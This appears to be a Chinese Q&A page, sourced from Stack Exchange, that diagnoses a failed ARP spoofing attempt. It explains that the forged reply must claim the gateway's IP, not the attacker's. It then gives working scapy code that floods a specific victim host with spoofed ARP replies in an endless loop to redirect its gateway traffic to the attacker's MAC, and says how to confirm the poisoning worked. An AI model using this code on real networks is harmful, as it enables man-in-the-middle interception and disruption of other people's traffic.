ARP欺骗场景下受害主机MAC地址未变更的问题排查
ARP欺骗未生效的根源分析
你的ARP欺骗操作没生效,核心问题出在ARP报文构造逻辑错误,具体原因如下:
错误设置了ARP响应的源IP(
psrc)
你当前构造的ARP响应报文,psrc填的是黑客自身的IP(10.0.2.15),这只会让受害机更新10.0.2.15对应的MAC地址,而不会修改受害机中网关这类关键IP的ARP映射。ARP欺骗的核心是冒充网关(或受害机信任的其他IP),让受害机把网关IP的MAC替换成你的MAC,所以psrc应该设置为网关的IP(比如常见的10.0.2.1),而非你自己的IP。未针对目标映射进行篡改
受害机的ARP表中,自身IP(10.0.2.2)对应的MAC本来就是网卡自身地址,你的报文根本不会触发这个条目的更新。你要修改的是受害机中网关IP对应的MAC条目,而非自身IP的条目。单次发送报文可能被忽略
即使报文构造正确,单次发送的ARP响应可能被受害机的ARP缓存策略忽略,通常需要持续发送(比如每秒发送几次)才能覆盖原有缓存条目。
修正后的代码示例
import scapy.all as scapy import time victim_mac = '52:54:00:12:35:02' victim_ip = '10.0.2.2' hacker_mac = '08:00:27:22:46:4f' gateway_ip = '10.0.2.1' # 替换为实际环境的网关IP # 构造ARP响应:告诉受害机"网关IP的MAC是我的MAC" arp_packet = scapy.ARP( op=2, hwdst=victim_mac, pdst=victim_ip, hwsrc=hacker_mac, psrc=gateway_ip # 关键:此处填写网关IP,而非自身IP ) # 持续发送报文,确保覆盖受害机ARP缓存 while True: scapy.sendp(arp_packet, verbose=False) time.sleep(1)
验证方式
在受害机上重新查看ARP表,若操作成功,网关IP对应的MAC地址会变为你的黑客设备MAC。
内容的提问来源于stack exchange,提问作者user20027278
相关产品推荐
相关产品推荐

